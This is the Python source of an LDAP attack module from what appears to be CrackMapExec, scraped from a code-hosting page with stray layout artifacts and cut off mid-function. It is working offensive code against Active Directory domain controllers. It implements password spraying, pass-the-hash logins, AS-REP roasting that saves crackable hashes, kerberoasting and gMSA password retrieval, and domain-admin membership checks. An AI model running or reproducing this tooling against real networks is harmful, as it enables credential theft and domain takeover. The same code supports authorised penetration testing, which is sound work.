1364 lines
65 KiB
Python
1364 lines
65 KiB
Python
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py
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# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
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import hmac
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import os
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from datetime import datetime
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from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
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from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
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from impacket.dcerpc.v5.transport import DCERPCTransportFactory
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from cme.connection import *
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from cme.helpers.logger import highlight
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from cme.logger import CMEAdapter, cme_logger
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from cme.helpers.bloodhound import add_user_bh
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from cme.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
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from cme.protocols.ldap.kerberos import KerberosAttacks
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from cme.protocols.ldap.bloodhound import BloodHound
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from cme.console import cme_console
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from impacket.smbconnection import SMBConnection, SessionError
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from impacket.smb import SMB_DIALECT
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from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
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from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS, SessionKeyDecryptionError
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from impacket.krb5.types import KerberosTime, Principal, KerberosException
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from impacket.ldap import ldap as ldap_impacket
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from impacket.krb5 import constants
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from impacket.ldap import ldapasn1 as ldapasn1_impacket
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from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR
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from bloodhound.ad.domain import AD
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from bloodhound.ad.authentication import ADAuthentication
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from argparse import _StoreTrueAction
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from binascii import b2a_hex, unhexlify, hexlify
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from Cryptodome.Hash import MD4
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from io import StringIO
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from pywerview.cli.helpers import *
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from re import sub, I
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from zipfile import ZipFile
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from OpenSSL.SSL import SysCallError
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ldap_error_status = {
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"1": "STATUS_NOT_SUPPORTED",
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"533": "STATUS_ACCOUNT_DISABLED",
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"701": "STATUS_ACCOUNT_EXPIRED",
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"531": "STATUS_ACCOUNT_RESTRICTION",
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"530": "STATUS_INVALID_LOGON_HOURS",
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"532": "STATUS_PASSWORD_EXPIRED",
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"773": "STATUS_PASSWORD_MUST_CHANGE",
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"775": "USER_ACCOUNT_LOCKED",
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"50": "LDAP_INSUFFICIENT_ACCESS",
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"KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
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"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED"
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}
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def resolve_collection_methods(methods):
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"""
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Convert methods (string) to list of validated methods to resolve
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"""
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valid_methods = ['group', 'localadmin', 'session', 'trusts', 'default', 'all', 'loggedon',
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'objectprops', 'experimental', 'acl', 'dcom', 'rdp', 'psremote', 'dconly',
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'container']
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default_methods = ['group', 'localadmin', 'session', 'trusts']
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# Similar to SharpHound, All is not really all, it excludes loggedon
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all_methods = ['group', 'localadmin', 'session', 'trusts', 'objectprops', 'acl', 'dcom', 'rdp', 'psremote', 'container']
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# DC only, does not collect to computers
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dconly_methods = ['group', 'trusts', 'objectprops', 'acl', 'container']
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if ',' in methods:
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method_list = [method.lower() for method in methods.split(',')]
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validated_methods = []
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for method in method_list:
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if method not in valid_methods:
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cme_logger.error('Invalid collection method specified: %s', method)
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return False
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if method == 'default':
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validated_methods += default_methods
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elif method == 'all':
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validated_methods += all_methods
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elif method == 'dconly':
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validated_methods += dconly_methods
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else:
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validated_methods.append(method)
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return set(validated_methods)
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else:
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validated_methods = []
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# It is only one
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method = methods.lower()
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if method in valid_methods:
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if method == 'default':
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validated_methods += default_methods
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elif method == 'all':
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validated_methods += all_methods
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elif method == 'dconly':
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validated_methods += dconly_methods
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else:
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validated_methods.append(method)
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return set(validated_methods)
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else:
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cme_logger.error('Invalid collection method specified: %s', method)
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return False
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def get_conditional_action(baseAction):
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class ConditionalAction(baseAction):
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def __init__(self, option_strings, dest, **kwargs):
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x = kwargs.pop('make_required', [])
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super(ConditionalAction, self).__init__(option_strings, dest, **kwargs)
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self.make_required = x
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def __call__(self, parser, namespace, values, option_string=None):
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for x in self.make_required:
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x.required = True
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super(ConditionalAction, self).__call__(parser, namespace, values, option_string)
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return ConditionalAction
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class ldap(connection):
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def __init__(self, args, db, host):
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self.domain = None
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self.server_os = None
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self.os_arch = 0
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self.hash = None
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self.ldapConnection = None
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self.lmhash = ''
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self.nthash = ''
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self.baseDN = ''
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self.target = ''
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self.targetDomain = ''
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self.remote_ops = None
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self.bootkey = None
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self.output_filename = None
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self.smbv1 = None
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self.signing = False
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self.smb_share_name = None
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self.admin_privs = False
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self.no_ntlm = False
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self.sid_domain = ""
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connection.__init__(self, args, db, host)
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@staticmethod
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def proto_args(parser, std_parser, module_parser):
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ldap_parser = parser.add_parser('ldap', help="own stuff using LDAP", parents=[std_parser, module_parser])
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ldap_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
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ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
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ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
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ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
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no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help='No smb connection')
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dgroup = ldap_parser.add_mutually_exclusive_group()
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domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
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dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
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no_smb_arg.make_required = [domain_arg]
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egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
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egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
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egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat')
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vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
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vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
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vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
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vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
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vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
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vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
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vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
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ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
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ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
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ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
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ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
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bgroup = ldap_parser.add_argument_group("Bloodhound scan", "Options to play with bloodhoud")
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bgroup.add_argument("--bloodhound", action="store_true", help="Perform bloodhound scan")
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bgroup.add_argument("-ns", '--nameserver', help="Custom DNS IP")
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bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
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return parser
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def proto_logger(self):
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cme_console.print("Creating logger)")
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# self.logger = cme_logger
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self.logger = CMEAdapter(
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extra={
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'protocol': "LDAP",
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'host': self.host,
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'port': self.args.port,
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'hostname': self.hostname
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}
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)
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def get_ldap_info(self, host):
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try:
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proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
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ldap_url = f"{proto}://{host}"
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self.logger.info(f"Connecting to {ldap_url} with no baseDN")
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try:
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ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
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if ldap_connection:
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self.logger.debug(f"ldap_connection: {ldap_connection}")
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except SysCallError as e:
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if proto == "ldaps":
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self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}")
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# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
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self.logger.debug(f"Even if the port is open, LDAPS may not be configured")
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else:
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self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}")
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return [None, None, None]
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resp = ldap_connection.search(
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scope=ldapasn1_impacket.Scope('baseObject'),
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attributes=['defaultNamingContext', 'dnsHostName'],
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sizeLimit=0
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)
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for item in resp:
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if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
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continue
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target = None
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target_domain = None
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base_dn = None
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try:
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for attribute in item['attributes']:
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if str(attribute['type']) == 'defaultNamingContext':
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base_dn = str(attribute['vals'][0])
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target_domain = sub(',DC=', '.', base_dn[base_dn.lower().find('dc='):], flags=I)[3:]
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if str(attribute['type']) == 'dnsHostName':
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target = str(attribute['vals'][0])
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except Exception as e:
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self.logger.debug("Exception:", exc_info=True)
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self.logger.info('Skipping item, cannot process due to error %s' % str(e))
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except OSError as e:
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return [None, None, None]
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self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
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return [target, target_domain, base_dn]
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def get_os_arch(self):
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try:
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string_binding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
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transport = DCERPCTransportFactory(string_binding)
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transport.set_connect_timeout(5)
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dce = transport.get_dce_rpc()
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if self.args.kerberos:
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dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
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dce.connect()
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try:
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dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
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except DCERPCException as e:
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if str(e).find('syntaxes_not_supported') >= 0:
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dce.disconnect()
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return 32
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else:
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dce.disconnect()
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return 64
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except Exception as e:
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self.logger.fail('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
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return 0
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def get_ldap_username(self):
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extended_request = ldapasn1_impacket.ExtendedRequest()
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extended_request['requestName'] = '1.3.6.1.4.1.4203.1.11.3' # whoami
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response = self.ldapConnection.sendReceive(extended_request)
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for message in response:
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search_result = message['protocolOp'].getComponent()
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if search_result['resultCode'] == ldapasn1_impacket.ResultCode('success'):
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response_value = search_result['responseValue']
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if response_value.hasValue():
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value = response_value.asOctets().decode(response_value.encoding)[2:]
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return value.split('\\')[1]
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return ''
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def enum_host_info(self):
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self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
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self.hostname = self.target
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self.domain = self.targetDomain
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# smb no open, specify the domain
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if self.args.no_smb:
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self.domain = self.args.domain
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else:
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self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
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try:
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self.conn.login('', '')
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except BrokenPipeError as e:
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self.logger.fail(f"Broken Pipe Error while attempting to login: {e}")
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except Exception as e:
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if "STATUS_NOT_SUPPORTED" in str(e):
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self.no_ntlm = True
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pass
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if not self.no_ntlm:
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self.domain = self.conn.getServerDNSDomainName()
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self.hostname = self.conn.getServerName()
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self.server_os = self.conn.getServerOS()
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self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
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self.os_arch = self.get_os_arch()
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if not self.domain:
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self.domain = self.hostname
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try:
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# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
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self.conn.logoff()
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except:
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pass
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if self.args.domain:
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self.domain = self.args.domain
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if self.args.local_auth:
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self.domain = self.hostname
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# Re-connect since we logged off
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self.create_conn_obj()
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self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
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self.output_filename = self.output_filename.replace(":", "-")
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def print_host_info(self):
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self.logger.debug("Printing host info for LDAP")
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if self.args.no_smb:
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self.logger.extra['protocol'] = "LDAP"
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self.logger.extra['port'] = "389"
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self.logger.display(u"Connecting to LDAP {}".format(self.hostname))
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# self.logger.display(self.endpoint)
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else:
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self.logger.extra['protocol'] = "SMB" if not self.no_ntlm else "LDAP"
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self.logger.extra['port'] = "445" if not self.no_ntlm else "389"
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self.logger.success(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(
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self.server_os,
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' x{}'.format(self.os_arch) if self.os_arch else '',
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self.hostname,
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self.domain,
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self.signing,
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self.smbv1)
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)
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self.logger.extra['protocol'] = "LDAP"
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# self.logger.display(self.endpoint)
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return True
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def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
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cme_logger.getLogger("impacket").disabled = True
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self.username = username
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self.password = password
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self.domain = domain
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self.kdcHost = kdcHost
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self.aesKey = aesKey
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lmhash = ''
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nthash = ''
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self.username = username
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# This checks to see if we didn't provide the LM Hash
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if ntlm_hash.find(':') != -1:
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lmhash, nthash = ntlm_hash.split(':')
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self.hash = nthash
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else:
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nthash = ntlm_hash
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self.hash = ntlm_hash
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if lmhash:
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self.lmhash = lmhash
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if nthash:
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self.nthash = nthash
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|
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if self.password == '' and self.args.asreproast:
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hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
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if hash_tgt:
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self.logger.highlight(u'{}'.format(hash_tgt))
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with open(self.args.asreproast, 'a+') as hash_asreproast:
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hash_asreproast.write(hash_tgt + '\n')
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return False
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|
|
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if not all('' == s for s in [self.nthash, password, aesKey]):
|
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kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
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else:
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kerb_pass = ''
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try:
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# Connect to LDAP
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proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
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ldap_url = f"{proto}://{self.target}"
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self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
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self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
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self.ldapConnection.kerberosLogin(
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username,
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password,
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domain,
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self.lmhash,
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self.nthash,
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aesKey,
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kdcHost=kdcHost,
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useCache=useCache
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)
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if self.username == '':
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self.username = self.get_ldap_username()
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self.check_if_admin()
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out = u'{}\\{}{} {}'.format(
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domain,
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self.username,
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# Show what was used between cleartext, nthash, aesKey and ccache
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" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
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highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
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)
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self.logger.extra['protocol'] = "LDAP"
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self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
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self.logger.success(out)
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if not self.args.local_auth:
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add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if not self.args.continue_on_success:
|
|
return True
|
|
except SessionKeyDecryptionError:
|
|
# for PRE-AUTH account
|
|
self.logger.success(u'{}\\{}{} {}'.format(
|
|
domain,
|
|
self.username,
|
|
" account vulnerable to asreproast attack",
|
|
""),
|
|
color='yellow'
|
|
)
|
|
return False
|
|
except SessionError as e:
|
|
error, desc = e.getErrorString()
|
|
self.logger.fail(u'{}\\{}{} {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
|
str(error)),
|
|
color='magenta' if error in ldap_error_status else 'red'
|
|
)
|
|
return False
|
|
except (KeyError, KerberosException, OSError) as e:
|
|
self.logger.fail(u'{}\\{}{} {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
|
str(e)),
|
|
color='red'
|
|
)
|
|
return False
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
if str(e).find('strongerAuthRequired') >= 0:
|
|
# We need to try SSL
|
|
try:
|
|
# Connect to LDAPS
|
|
ldaps_url = f"ldaps://{self.target}"
|
|
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
|
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
|
self.ldapConnection.kerberosLogin(
|
|
username,
|
|
password,
|
|
domain,
|
|
self.lmhash,
|
|
self.nthash,
|
|
aesKey,
|
|
kdcHost=kdcHost,
|
|
useCache=useCache
|
|
)
|
|
|
|
if self.username == '':
|
|
self.username = self.get_ldap_username()
|
|
|
|
self.check_if_admin()
|
|
|
|
# Prepare success credential text
|
|
out = u'{}\\{} {}'.format(
|
|
domain,
|
|
self.username,
|
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
|
)
|
|
|
|
self.logger.extra['protocol'] = "LDAPS"
|
|
self.logger.extra['port'] = "636"
|
|
self.logger.success(out)
|
|
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if not self.args.continue_on_success:
|
|
return True
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(u'{}\\{}:{} {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
|
color='magenta' if error_code in ldap_error_status else 'red'
|
|
)
|
|
return False
|
|
except SessionError as e:
|
|
error, desc = e.getErrorString()
|
|
self.logger.fail(u'{}\\{}{} {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
|
str(error)),
|
|
color='magenta' if error in ldap_error_status else 'red'
|
|
)
|
|
return False
|
|
else:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(u'{}\\{}{} {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
|
color='magenta' if error_code in ldap_error_status else 'red'
|
|
)
|
|
return False
|
|
|
|
def plaintext_login(self, domain, username, password):
|
|
self.username = username
|
|
self.password = password
|
|
self.domain = domain
|
|
|
|
if self.password == '' and self.args.asreproast:
|
|
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
|
|
if hash_tgt:
|
|
self.logger.highlight(u'{}'.format(hash_tgt))
|
|
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
|
hash_asreproast.write(hash_tgt + '\n')
|
|
return False
|
|
|
|
try:
|
|
# Connect to LDAP
|
|
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
|
ldap_url = f"{proto}://{self.target}"
|
|
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
|
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
|
self.check_if_admin()
|
|
|
|
# Prepare success credential text
|
|
out = u'{}\\{}:{} {}'.format(
|
|
domain,
|
|
self.username,
|
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
|
)
|
|
|
|
self.logger.extra['protocol'] = "LDAP"
|
|
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
|
self.logger.success(out)
|
|
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if not self.args.continue_on_success:
|
|
return True
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
if str(e).find('strongerAuthRequired') >= 0:
|
|
# We need to try SSL
|
|
try:
|
|
# Connect to LDAPS
|
|
ldaps_url = f"{proto}://{self.target}"
|
|
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
|
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
|
self.check_if_admin()
|
|
|
|
# Prepare success credential text
|
|
out = u'{}\\{}:{} {}'.format(
|
|
domain,
|
|
self.username,
|
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
|
)
|
|
self.logger.extra['protocol'] = "LDAPS"
|
|
self.logger.extra['port'] = "636"
|
|
self.logger.success(out)
|
|
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if not self.args.continue_on_success:
|
|
return True
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(u'{}\\{}:{} {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
|
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
|
)
|
|
else:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(u'{}\\{}:{} {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
|
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
|
)
|
|
return False
|
|
except OSError as e:
|
|
self.logger.fail(u'{}\\{}:{} {} \nError: {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
"Error connecting to the domain, are you sure LDAP service is running on the target?",
|
|
e
|
|
))
|
|
return False
|
|
|
|
def hash_login(self, domain, username, ntlm_hash):
|
|
self.logger.extra['protocol'] = "LDAP"
|
|
self.logger.extra['port'] = "389"
|
|
lmhash = ""
|
|
nthash = ""
|
|
|
|
# This checks to see if we didn't provide the LM Hash
|
|
if ntlm_hash.find(':') != -1:
|
|
lmhash, nthash = ntlm_hash.split(':')
|
|
else:
|
|
nthash = ntlm_hash
|
|
|
|
self.hash = ntlm_hash
|
|
if lmhash:
|
|
self.lmhash = lmhash
|
|
if nthash:
|
|
self.nthash = nthash
|
|
|
|
self.username = username
|
|
self.domain = domain
|
|
|
|
if self.hash == '' and self.args.asreproast:
|
|
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
|
|
if hash_tgt:
|
|
self.logger.highlight(u'{}'.format(hash_tgt))
|
|
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
|
hash_asreproast.write(hash_tgt + '\n')
|
|
return False
|
|
|
|
try:
|
|
# Connect to LDAP
|
|
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
|
ldaps_url = f"{proto}://{self.target}"
|
|
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
|
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
|
self.check_if_admin()
|
|
|
|
# Prepare success credential text
|
|
out = u'{}\\{}:{} {}'.format(
|
|
domain,
|
|
self.username,
|
|
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
|
)
|
|
self.logger.extra['protocol'] = "LDAP"
|
|
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
|
self.logger.success(out)
|
|
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if not self.args.continue_on_success:
|
|
return True
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
if str(e).find('strongerAuthRequired') >= 0:
|
|
try:
|
|
# We need to try SSL
|
|
ldaps_url = f"{proto}://{self.target}"
|
|
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
|
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
|
self.check_if_admin()
|
|
|
|
# Prepare success credential text
|
|
out = u'{}\\{}:{} {}'.format(
|
|
domain,
|
|
self.username,
|
|
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
|
)
|
|
self.logger.extra['protocol'] = "LDAPS"
|
|
self.logger.extra['port'] = "636"
|
|
self.logger.success(out)
|
|
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if not self.args.continue_on_success:
|
|
return True
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(u'{}\\{}:{} {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
|
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
|
)
|
|
else:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(u'{}\\{}:{} {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
|
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
|
)
|
|
return False
|
|
except OSError as e:
|
|
self.logger.fail(u'{}\\{}:{} {} \nError: {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
|
"Error connecting to the domain, are you sure LDAP service is running on the target?",
|
|
e
|
|
))
|
|
return False
|
|
|
|
def create_smbv1_conn(self):
|
|
self.logger.debug(f"Creating smbv1 connection object")
|
|
try:
|
|
self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT)
|
|
self.smbv1 = True
|
|
if self.conn:
|
|
self.logger.debug(f"SMBv1 Connection successful")
|
|
except socket.error as e:
|
|
if str(e).find('Connection reset by peer') != -1:
|
|
self.logger.debug('SMBv1 might be disabled on {}'.format(self.host))
|
|
return False
|
|
except Exception as e:
|
|
self.logger.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
|
|
return False
|
|
return True
|
|
|
|
def create_smbv3_conn(self):
|
|
self.logger.debug(f"Creating smbv3 connection object")
|
|
try:
|
|
self.conn = SMBConnection(self.host, self.host, None, 445)
|
|
self.smbv1 = False
|
|
if self.conn:
|
|
self.logger.debug(f"SMBv3 Connection successful")
|
|
except socket.error:
|
|
return False
|
|
except Exception as e:
|
|
self.logger.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
|
|
return False
|
|
|
|
return True
|
|
|
|
def create_conn_obj(self):
|
|
if not self.args.no_smb:
|
|
if self.create_smbv1_conn():
|
|
return True
|
|
elif self.create_smbv3_conn():
|
|
return True
|
|
return False
|
|
else:
|
|
return True
|
|
|
|
def get_sid(self):
|
|
self.logger.highlight('Domain SID {}'.format(self.sid_domain))
|
|
|
|
def sid_to_str(self, sid):
|
|
try:
|
|
# revision
|
|
revision = int(sid[0])
|
|
# count of sub authorities
|
|
sub_authorities = int(sid[1])
|
|
# big endian
|
|
identifier_authority = int.from_bytes(sid[2:8], byteorder='big')
|
|
# If true then it is represented in hex
|
|
if identifier_authority >= 2 ** 32:
|
|
identifier_authority = hex(identifier_authority)
|
|
|
|
# loop over the count of small endians
|
|
sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)])
|
|
object_sid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority
|
|
return object_sid
|
|
except Exception:
|
|
pass
|
|
return sid
|
|
|
|
def check_if_admin(self):
|
|
# 1. get SID of the domaine
|
|
search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
|
|
attributes = ["objectSid"]
|
|
resp = self.search(search_filter, attributes, sizeLimit=0)
|
|
answers = []
|
|
if resp and self.password != '' and self.username != '':
|
|
for attribute in resp[0][1]:
|
|
if str(attribute['type']) == 'objectSid':
|
|
sid = self.sid_to_str(attribute['vals'][0])
|
|
self.sid_domain = '-'.join(sid.split('-')[:-1])
|
|
|
|
# 2. get all group cn name
|
|
search_filter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
|
|
attributes = ["distinguishedName"]
|
|
resp = self.search(search_filter, attributes, sizeLimit=0)
|
|
answers = []
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'distinguishedName':
|
|
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")"))
|
|
|
|
# 3. get member of these groups
|
|
search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))"
|
|
attributes = [""]
|
|
resp = self.search(search_filter, attributes, sizeLimit=0)
|
|
answers = []
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
if item:
|
|
self.admin_privs = True
|
|
|
|
